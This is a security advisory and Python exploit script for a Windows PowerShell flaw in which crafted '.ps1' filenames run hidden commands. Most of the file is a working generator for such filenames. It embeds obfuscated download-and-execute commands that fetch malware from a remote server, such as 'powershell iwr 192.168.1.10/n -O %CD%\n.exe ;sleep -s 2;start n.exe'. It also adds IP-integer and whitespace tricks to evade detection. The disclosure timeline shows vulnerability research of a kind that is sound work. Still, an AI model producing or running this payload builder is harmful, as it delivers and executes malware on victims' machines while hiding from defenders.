417 lines
No EOL
15 KiB
Python
Executable file
417 lines
No EOL
15 KiB
Python
Executable file
'''
|
|
[+] Credits: John Page (aka hyp3rlinx)
|
|
[+] Website: hyp3rlinx.altervista.org
|
|
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
|
|
[+] ISR: Apparition Security
|
|
|
|
|
|
[Vendor]
|
|
www.microsoft.com
|
|
|
|
|
|
[Product]
|
|
Windows PowerShell
|
|
|
|
Windows PowerShell is a Windows command-line shell designed especially for system administrators.
|
|
PowerShell includes an interactive prompt and a scripting environment that can be used independently or in combination.
|
|
|
|
|
|
[Vulnerability Type]
|
|
Unsanitized Filename Command Execution
|
|
|
|
|
|
[CVE Reference]
|
|
N/A
|
|
|
|
|
|
[Security Issue]
|
|
PowerShell can potentially execute arbitrary code when running specially named scripts due to trusting unsanitized filenames.
|
|
This occurs when ".ps1" files contain semicolons ";" or spaces as part of the filename, causing the execution of a different trojan file;
|
|
or the running of unexpected commands straight from the filename itself without the need for a second file.
|
|
|
|
For trojan files it doesn't need to be another PowerShell script and can be one of the following ".com, .exe, .bat, .cpl, .js, .vbs and .wsf.
|
|
Therefore, the vulnerably named file ".\Hello;World.ps1" will instead execute "hello.exe", if that script is invoked using the standard
|
|
Windows shell "cmd.exe" and "hello.exe" resides in the same directory as the vulnerably named script.
|
|
|
|
However, when such scripts are run from PowerShells shell and not "cmd.exe" the "&" (call operator) will block our exploit from working.
|
|
|
|
Still, if the has user enabled ".ps1" scripts to open with PowerShell as its default program, all it takes is double click the file to trigger
|
|
the exploit and the "& call operator" will no longer save you. Also, if the user has not enabled PowerShell to open .ps1 scripts
|
|
as default; then running the script from cmd.exe like: c:\>powershell "\Hello;World.ps1" will also work without dropping into the PowerShell shell.
|
|
|
|
My PoC will download a remote executable save it to the victims machine and then execute it, and the PS files contents are irrelevant.
|
|
Also, note I use "%CD" to target the current working directory where the vicitm has initially opened it, after it calls "iwr" (invoke-webrequest)
|
|
abbreviated for space then it sleeps for 2 seconds and finally executes.
|
|
|
|
C:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.1.10/n -O %CD%\n.exe ;sleep -s 2;start n.exe'"))
|
|
|
|
This can undermine the integrity of PowerShell as it potentially allows unexpected code execution; even when the scripts contents are visually reviewed.
|
|
We may also be able to bypass some endpoint protection or IDS systems that may look at the contents or header of a file but not its filename where are
|
|
commands can be stored.
|
|
|
|
For this to work the user must have enabled PowerShell as its default program when opening ".ps1" files.
|
|
|
|
First, we create a Base64 encoded filename for obfuscation; that will download and execute a remote executable named in this case "n.exe".
|
|
c:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.1.10/n -O %CD%\n.exe ;sleep -s 2;start n.exe'"))
|
|
|
|
Give the PS script a normal begining name, then separate commands using ";" semicolon e.g.
|
|
|
|
Test;powershell -e <BASE64 ENCODED COMMANDS>;2.ps1
|
|
|
|
Create the executable without a file extension to save space for the filename then save it back using the -O parameter.
|
|
The "-e" is abbreviated for EncodedCommand to again save filename space.
|
|
|
|
Host the executable on web-server or just use python -m SimpleHTTPServer 80 or whatever.
|
|
Double click to open in PowerShell watch the file get downloaded saved and executed!
|
|
|
|
My example is used as a "filename embedded downloader", but obviously we can just call other secondary trojan files of various types in the same directory.
|
|
|
|
Note: User interaction is required, and obviously running any random PS script is dangerous... but hey we looked at the file content and it simply printed a string!
|
|
|
|
|
|
[Exploit / PoC]
|
|
'''
|
|
|
|
from base64 import b64encode
|
|
from base64 import b64decode
|
|
from socket import *
|
|
import argparse,sys,socket,struct,re
|
|
|
|
#GGPowerShell
|
|
#Microsoft Windows PowerShell - Unsantized Filename RCE Dirty File Creat0r.
|
|
#
|
|
#Original advisory:
|
|
#http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
|
|
#
|
|
#Original PoC:
|
|
#https://www.youtube.com/watch?v=AH33RW9g8J4
|
|
#
|
|
#By John Page (aka hyp3rlinx)
|
|
#Apparition Security
|
|
#=========================
|
|
#Features added to the original advisory script:
|
|
#
|
|
#Original script may have issues with -O for save files with certain PS versions, so now uses -OutFile.
|
|
#
|
|
#Added: server port option (Base64 mode only)
|
|
#
|
|
#Added: -z Reverse String Command as an alternative to default Base64 encoding obfuscation.
|
|
#Example self reversing payload to save and execute a file "n.js" from 127.0.0.1 port 80 is only 66 bytes.
|
|
#
|
|
#$a='sj.n trats;sj.n eliFtuO- 1.0.0.721 rwi'[-1..-38]-join'';iex $a
|
|
#
|
|
#-z payload requires a forced malware download on server-side, defaults port 80 and expects an ip-address.
|
|
#
|
|
#Added: IP to Integer for extra evasion - e.g 127.0.0.1 = 2130706433
|
|
#
|
|
#Added: Prefix whitespace - attempt to hide the filename payload by push it to the end of the filename.
|
|
#
|
|
#Since we have space limit, malware names should try be 5 chars max e.g. 'a.exe' including the ext to make room for
|
|
#IP/Host/Port and whitespace especially when Base64 encoding, for reverse command string option we have more room to play.
|
|
#e.g. a.exe or n.js (1 char for the name plus 2 to 3 chars for ext plus the dot).
|
|
#
|
|
#All in the name of the dirty PS filename.
|
|
#=========================================
|
|
|
|
BANNER='''
|
|
________________ _____ __ _____ __ __
|
|
/ ____/ ____/ __ \____ _ _____ _____/ ___// /_ |__ // / / /
|
|
/ / __/ / __/ /_/ / __ \ | /| / / _ \/ ___/\__ \/ __ \ /_ </ / / /
|
|
/ /_/ / /_/ / ____/ /_/ / |/ |/ / __/ / ___/ / / / /__/ / /___/ /___
|
|
\____/\____/_/ \____/|__/|__/\___/_/ /____/_/ /_/____/_____/_____/
|
|
|
|
By hyp3rlinx
|
|
ApparitionSec
|
|
'''
|
|
|
|
|
|
FILENAME_PREFIX="Hello-World"
|
|
POWERSHELL_OBFUSCATED="poWeRshELl"
|
|
DEFAULT_PORT="80"
|
|
DEFAULT_BASE64_WSPACE_LEN=2
|
|
MAX_CHARS = 254
|
|
WARN_MSG="Options: register shorter domain name, try <ip-address> -i flag, force-download or omit whitespace."
|
|
|
|
|
|
def parse_args():
|
|
parser.add_argument("-s", "--server", help="Server to download malware from.")
|
|
parser.add_argument("-p", "--port", help="Malware server port, defaults 80.")
|
|
parser.add_argument("-m", "--locf", help="Name for the Malware upon download.")
|
|
parser.add_argument("-r", "--remf", nargs="?", help="Malware to download from the remote server.")
|
|
parser.add_argument("-f", "--force_download", nargs="?", const="1", help="No malware name specified, malwares force downloaded from the server web-root, malware type must be known up front.")
|
|
parser.add_argument("-z", "--rev_str_cmd", nargs="?", const="1", help="Reverse string command obfuscation Base64 alternative, ip-address and port 80 only, Malware must be force downloaded on the server-side, see -e.")
|
|
parser.add_argument("-w", "--wspace", help="Amount of whitespace to use for added obfuscation, Base64 is set for 2 bytes.")
|
|
parser.add_argument("-i", "--ipevade", nargs="?", const="1", help="Use the integer value of the malware servers IP address for obfuscation/evasion.")
|
|
parser.add_argument("-e", "--example", nargs="?", const="1", help="Show example use cases")
|
|
return parser.parse_args()
|
|
|
|
|
|
#self reverse PS commands
|
|
def rev_str_command(args):
|
|
malware=args.locf[::-1]
|
|
revload=malware
|
|
revload+=" trats;"
|
|
revload+=malware
|
|
revload+=" eliFtuO- "
|
|
revload+=args.server[::-1]
|
|
revload+=" rwi"
|
|
|
|
payload = "$a='"
|
|
payload+=malware
|
|
payload+=" trats;"
|
|
payload+=malware
|
|
payload+=" eliFtuO- "
|
|
payload+=args.server[::-1]
|
|
payload+=" rwi'[-1..-"+str(len(revload))
|
|
payload+="]-join '';iex $a"
|
|
return payload
|
|
|
|
|
|
def ip2int(addr):
|
|
return struct.unpack("!I", inet_aton(addr))[0]
|
|
|
|
|
|
def ip2hex(ip):
|
|
x = ip.split('.')
|
|
return '0x{:02X}{:02X}{:02X}{:02X}'.format(*map(int, x))
|
|
|
|
|
|
def obfuscate_ip(target):
|
|
IPHex = ip2hex(target)
|
|
return str(ip2int(IPHex))
|
|
|
|
|
|
def decodeB64(p):
|
|
return b64decode(p)
|
|
|
|
|
|
def validIP(host):
|
|
try:
|
|
socket.inet_aton(host)
|
|
return True
|
|
except socket.error:
|
|
return False
|
|
|
|
|
|
def filename_sz(space,cmds,mode):
|
|
if mode==0:
|
|
return len(FILENAME_PREFIX)+len(space)+ 1 +len(POWERSHELL_OBFUSCATED)+ 4 + len(cmds)+ len(";.ps1")
|
|
else:
|
|
return len(FILENAME_PREFIX) + len(space) + 1 + len(cmds) + len(";.ps1")
|
|
|
|
|
|
def check_filename_size(sz):
|
|
if sz > MAX_CHARS:
|
|
print "Filename is", sz, "chars of max allowed", MAX_CHARS
|
|
print WARN_MSG
|
|
return False
|
|
return True
|
|
|
|
|
|
def create_file(payload, args):
|
|
try:
|
|
f=open(payload, "w")
|
|
f.write("Write-Output 'Have a good night!'")
|
|
f.close()
|
|
except Exception as e:
|
|
print "[!] File not created!"
|
|
print WARN_MSG
|
|
return False
|
|
return True
|
|
|
|
|
|
def cmd_info(t,p):
|
|
print "PAYLOAD: "+p
|
|
if t==0:
|
|
print "TYPE: Base64 encoded payload."
|
|
else:
|
|
print "TYPE: Self Reversing String Command (must force-download the malware server side)."
|
|
|
|
|
|
|
|
def main(args):
|
|
|
|
global FILENAME_PREFIX
|
|
|
|
if len(sys.argv)==1:
|
|
parser.print_help(sys.stderr)
|
|
sys.exit(1)
|
|
|
|
if args.example:
|
|
usage()
|
|
exit()
|
|
|
|
sz=0
|
|
space=""
|
|
b64payload=""
|
|
reverse_string_cmd=""
|
|
|
|
if not validIP(args.server):
|
|
if not args.rev_str_cmd:
|
|
if args.server.find("http://")==-1:
|
|
args.server = "http://"+args.server
|
|
|
|
if args.ipevade:
|
|
args.server = args.server.replace("http://", "")
|
|
if validIP(args.server):
|
|
args.server = obfuscate_ip(args.server)
|
|
else:
|
|
print "[!] -i (IP evasion) requires a valid IP address, see Help -h."
|
|
exit()
|
|
|
|
if not args.locf:
|
|
print "[!] Missing local malware save name -m flag see Help -h."
|
|
exit()
|
|
|
|
if not args.rev_str_cmd:
|
|
|
|
if not args.remf and not args.force_download:
|
|
print "[!] No remote malware specified, force downloading are we? use -f or -r flag, see Help -h."
|
|
exit()
|
|
|
|
if args.remf and args.force_download:
|
|
print "[!] Multiple download options specified, use -r or -f exclusively, see Help -h."
|
|
exit()
|
|
|
|
if args.force_download:
|
|
args.remf=""
|
|
|
|
if args.remf:
|
|
#remote file can be extension-less
|
|
if not re.findall("^[~\w,a-zA-Z0-9]$", args.remf) and not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.remf):
|
|
print "[!] Invalid remote malware name specified, see Help -h."
|
|
exit()
|
|
|
|
#local file extension is required
|
|
if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf):
|
|
print "[!] Local malware name "+args.locf+" invalid, must contain no paths and have the correct extension."
|
|
exit()
|
|
|
|
if not args.port:
|
|
args.port = DEFAULT_PORT
|
|
|
|
if args.wspace:
|
|
args.wspace = int(args.wspace)
|
|
space="--IAA="*DEFAULT_BASE64_WSPACE_LEN
|
|
if args.wspace != DEFAULT_BASE64_WSPACE_LEN:
|
|
print "[!] Ignoring", args.wspace, "whitespace amount, Base64 default is two bytes"
|
|
|
|
filename_cmd = "powershell iwr "
|
|
filename_cmd+=args.server
|
|
filename_cmd+=":"
|
|
filename_cmd+=args.port
|
|
filename_cmd+="/"
|
|
filename_cmd+=args.remf
|
|
filename_cmd+=" -OutFile "
|
|
filename_cmd+=args.locf
|
|
filename_cmd+=" ;sleep -s 2;start "
|
|
filename_cmd+=args.locf
|
|
|
|
b64payload = b64encode(filename_cmd.encode('UTF-16LE'))
|
|
sz = filename_sz(space, b64payload, 0)
|
|
|
|
FILENAME_PREFIX+=space
|
|
FILENAME_PREFIX+=";"
|
|
FILENAME_PREFIX+=POWERSHELL_OBFUSCATED
|
|
FILENAME_PREFIX+=" -e "
|
|
FILENAME_PREFIX+=b64payload
|
|
FILENAME_PREFIX+=";.ps1"
|
|
COMMANDS = FILENAME_PREFIX
|
|
|
|
else:
|
|
|
|
if args.server.find("http://")!=-1:
|
|
args.server = args.server.replace("http://","")
|
|
|
|
if args.force_download:
|
|
print "[!] Ignored -f as forced download is already required with -z flag."
|
|
|
|
if args.wspace:
|
|
space=" "*int(args.wspace)
|
|
|
|
if args.remf:
|
|
print "[!] Using both -z and -r flags is disallowed, see Help -h."
|
|
exit()
|
|
|
|
if args.port:
|
|
print "[!] -z flag must use port 80 as its default, see Help -h."
|
|
exit()
|
|
|
|
if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf):
|
|
print "[!] Local Malware name invalid -m flag."
|
|
exit()
|
|
|
|
reverse_string_cmd = rev_str_command(args)
|
|
sz = filename_sz(space, reverse_string_cmd, 1)
|
|
|
|
FILENAME_PREFIX+=space
|
|
FILENAME_PREFIX+=";"
|
|
FILENAME_PREFIX+=reverse_string_cmd
|
|
FILENAME_PREFIX+=";.ps1"
|
|
COMMANDS=FILENAME_PREFIX
|
|
|
|
if check_filename_size(sz):
|
|
if create_file(COMMANDS,args):
|
|
if not args.rev_str_cmd:
|
|
cmd_info(0,decodeB64(b64payload))
|
|
else:
|
|
cmd_info(1,reverse_string_cmd)
|
|
return sz
|
|
|
|
return False
|
|
|
|
|
|
def usage():
|
|
print "(-r) -s <domain-name.xxx> -p 5555 -m g.js -r n.js -i -w 2"
|
|
print " Whitespace, IP evasion, download, save and exec malware via Base64 encoded payload.\n"
|
|
print " Download an save malware simply named '2' via port 80, rename to f.exe and execute."
|
|
print " -s <domain-name.xxx> -m a.exe -r 2\n"
|
|
print "(-f) -s <domain-name.xxx> -f -m d.exe"
|
|
print " Expects force download from the servers web-root, malware type must be known upfront.\n"
|
|
print "(-z) -s 192.168.1.10 -z -m q.cpl -w 150"
|
|
print " Reverse string PowerShell command alternative to Base64 obfuscation"
|
|
print " uses self reversing string of PS commands, malware type must be known upfront."
|
|
print " Defaults port 80, ip-address only and requires server-side forced download from web-root.\n"
|
|
print "(-i) -s 192.168.1.10 -i -z -m ~.vbs -w 100"
|
|
print " Reverse string command with (-i) IP as integer value for evasion.\n"
|
|
print " Base64 is the default command obfuscation encoding, unless -z flags specified."
|
|
|
|
if __name__=="__main__":
|
|
|
|
print BANNER
|
|
parser = argparse.ArgumentParser()
|
|
sz = main(parse_args())
|
|
|
|
if sz:
|
|
print "DIRTY FILENAME SIZE: %s" % (sz) +"\n"
|
|
print "PowerShell Unsantized Filename RCE file created."
|
|
'''
|
|
[POC Video URL]
|
|
https://www.youtube.com/watch?v=AH33RW9g8J4
|
|
|
|
|
|
[Network Access]
|
|
Remote
|
|
|
|
|
|
[Severity]
|
|
High
|
|
|
|
|
|
[Disclosure Timeline]
|
|
Vendor Notification: July 20, 2019
|
|
MSRC "does not meet the bar for security servicing" : July 23, 2019
|
|
August 1, 2019 : Public Disclosure
|
|
|
|
|
|
|
|
[+] Disclaimer
|
|
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
|
|
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
|
|
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
|
|
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
|
|
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
|
|
or exploits by the author or elsewhere. All content (c).
|
|
'''
|
|
|
|
hyp3rlinx |